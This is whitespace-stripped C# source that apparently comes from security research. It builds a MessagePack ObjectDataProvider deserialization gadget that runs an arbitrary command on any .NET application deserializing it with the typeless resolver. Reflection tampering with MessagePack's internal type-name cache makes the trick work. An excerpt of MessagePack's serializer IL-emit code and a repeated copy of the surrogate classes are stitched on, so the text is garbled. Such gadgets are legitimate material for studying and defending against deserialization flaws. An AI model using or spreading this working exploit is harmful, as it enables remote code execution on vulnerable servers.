usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Reflection;usingMessagePack;usingMessagePack.Formatters;usingMessagePack.Resolvers;namespaceConsoleApp1{internalclassMessagePackHelper{internalstaticbyte[]CreateObjectDataProviderGadget(stringpCmdFileName,stringpCmdArguments,boolpUseLz4){SwapTypeCacheNames(newDictionary<Type,string>{{typeof(ObjectDataProviderSurrogate),"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"},{typeof(ProcessSurrogate),"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"},{typeof(ProcessStartInfoSurrogate),"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}});varodpInstance=CreateObjectDataProviderSurrogateInstance(pCmdFileName,pCmdArguments);MessagePackSerializerOptionsoptions=pUseLz4?TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray):TypelessContractlessStandardResolver.Options;returnMessagePackSerializer.Serialize(odpInstance,options);}/// <summary>/// Tests the deserialization of a serialized object./// </summary>/// <param name="pSerializedData">The serialized data.</param>/// <param name="pUseLz4">Flag to use Lz4 compression. This works with both Lz4Block and Lz4BlockArray.</param>internalstaticvoidTest(byte[]pSerializedData,boolpUseLz4){MessagePackSerializerOptionsoptions=pUseLz4?TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray):TypelessContractlessStandardResolver.Options;MessagePackSerializer.Deserialize<object>(pSerializedData,options);}/// <summary>/// Utilizes reflection to add values to the internal FullTypeNameCache that MessagePack uses to acquire cached type names for serialization./// This allows us to swap our surrogate ObjectDataProvider gadget type information with the real gadget AQNs when serialized./// </summary>/// <param name="pNewTypeCacheEntries">/// The dictionary of type name cache entries to swap. /// Key = The type that the serializer has found./// Value = The real gadget type AQN string which we want to use instead of the surrogate type AQN./// </param>privatestaticvoidSwapTypeCacheNames(IDictionary<Type,string>pNewTypeCacheEntries){FieldInfotypeNameCacheField=typeof(TypelessFormatter).GetField("FullTypeNameCache",BindingFlags.NonPublic|BindingFlags.Static);objecttypeNameCache=typeNameCacheField.GetValue(TypelessFormatter.Instance);MethodInfomethod=typeNameCacheField.FieldType.GetMethod("TryAdd",new[]{typeof(Type),typeof(byte[])});foreach(vartypeSwapinpNewTypeCacheEntries){method.Invoke(typeNameCache,newobject[]{typeSwap.Key,System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)});}}/// <summary>/// Creates a populated surrogate ObjectDataProvider instance which matches the object graph of the real ObjectDataProvider gadget./// </summary>/// <param name="pCmdFileName">The command filename.</param>/// <param name="pCmdArguments">The command arguments.</param>/// <returns>The full ObjectDataProvider surrogate object graph.</returns>privatestaticobjectCreateObjectDataProviderSurrogateInstance(stringpCmdFileName,stringpCmdArguments){returnnewObjectDataProviderSurrogate{MethodName="Start",ObjectInstance=newProcessSurrogate{StartInfo=newProcessStartInfoSurrogate{FileName=pCmdFileName,Arguments=pCmdArguments}}};}internalsealedclassObjectDataProviderSurrogate{publicstringMethodName{get;set;}publicobjectObjectInstance{get;set;}}/// <summary>/// Surrogate class for bait-and-switch version of ProcessStartInfo./// </summary>internalsealedclassProcessStartInfoSurrogate{publicstringFileName{get;set;}publicstringArguments{get;set;}}/// <summary>/// Surrogate class for bait-and-switch version of Process./// </summary>internalsealedclassProcessSurrogate{publicProcessStartInfoSurrogateStartInfo{get;set;}}}}
privatestaticvoidBuildSerialize(Typetype,ObjectSerializationInfoinfo,ILGeneratoril,ActionemitStringByteKeys,Func<int,ObjectSerializationInfo.EmittableMember,Action?>tryEmitLoadCustomFormatter,intfirstArgIndex){varargWriter=newArgumentField(il,firstArgIndex);varargValue=newArgumentField(il,firstArgIndex+1,type);varargOptions=newArgumentField(il,firstArgIndex+2);...// IMessagePackSerializationCallbackReceiver.OnBeforeSerialize()if(type.GetTypeInfo().ImplementedInterfaces.Any(x=>x==typeof(IMessagePackSerializationCallbackReceiver))){// call directlyMethodInfo[]runtimeMethods=type.GetRuntimeMethods().Where(x=>x.Name=="OnBeforeSerialize").ToArray();if(runtimeMethods.Length==1){argValue.EmitLoad();il.Emit(OpCodes.Call,runtimeMethods[0]);// don't use EmitCall helper(must use 'Call')}else{argValue.EmitLdarg();// force ldargil.EmitBoxOrDoNothing(type);il.EmitCall(onBeforeSerialize);}}...foreach(ObjectSerializationInfo.EmittableMemberitemininfo.Members.Where(x=>x.IsReadable)){argWriter.EmitLoad();emitStringByteKeys();il.EmitLdc_I4(index);il.Emit(OpCodes.Ldelem_Ref);il.Emit(OpCodes.Call,ReadOnlySpanFromByteArray);// convert byte[] to ReadOnlySpan<byte>...EmitSerializeValue(il,type.GetTypeInfo(),item,index,tryEmitLoadCustomFormatter,argWriter,argValue,argOptions,localResolver);index++;}...}privatestaticvoidEmitSerializeValue(ILGeneratoril,TypeInfotype,ObjectSerializationInfo.EmittableMembermember,intindex,Func<int,ObjectSerializationInfo.EmittableMember,Action?>tryEmitLoadCustomFormatter,ArgumentFieldargWriter,ArgumentFieldargValue,ArgumentFieldargOptions,LocalBuilderlocalResolver){LabelendLabel=il.DefineLabel();Typet=member.Type;Action?emitter=tryEmitLoadCustomFormatter(index,member);if(emitter!=null){emitter();argWriter.EmitLoad();argValue.EmitLoad();member.EmitLoadValue(il);argOptions.EmitLoad();il.EmitCall(getSerialize(t));}elseif(ObjectSerializationInfo.IsOptimizeTargetType(t)){if(!t.GetTypeInfo().IsValueType){// As a nullable type (e.g. byte[] and string) we need to call WriteNil for null values.LabelwriteNonNilValueLabel=il.DefineLabel();LocalBuildermemberValue=il.DeclareLocal(t);argValue.EmitLoad();member.EmitLoadValue(il);il.Emit(OpCodes.Dup);il.EmitStloc(memberValue);il.Emit(OpCodes.Brtrue,writeNonNilValueLabel);argWriter.EmitLoad();il.EmitCall(MessagePackWriterTypeInfo.WriteNil);il.Emit(OpCodes.Br,endLabel);il.MarkLabel(writeNonNilValueLabel);argWriter.EmitLoad();il.EmitLdloc(memberValue);}else{argWriter.EmitLoad();argValue.EmitLoad();member.EmitLoadValue(il);}if(t==typeof(byte[])){il.EmitCall(ReadOnlySpanFromByteArray);il.EmitCall(MessagePackWriterTypeInfo.WriteBytes);}else{il.EmitCall(typeof(MessagePackWriter).GetRuntimeMethod("Write",newType[]{t})!);}}else{il.EmitLdloc(localResolver);il.Emit(OpCodes.Call,getFormatterWithVerify.MakeGenericMethod(t));argWriter.EmitLoad();argValue.EmitLoad();member.EmitLoadValue(il);argOptions.EmitLoad();il.EmitCall(getSerialize(t));}il.MarkLabel(endLabel);}
internalsealedclassObjectDataProviderSurrogate{publicstringMethodName{get;set;}publicobjectObjectInstance{get;set;}}/// <summary>/// Surrogate class for bait-and-switch version of ProcessStartInfo./// </summary>internalsealedclassProcessStartInfoSurrogate{publicstringFileName{get;set;}publicstringArguments{get;set;}}/// <summary>/// Surrogate class for bait-and-switch version of Process./// </summary>internalsealedclassProcessSurrogate{publicProcessStartInfoSurrogateStartInfo{get;set;}}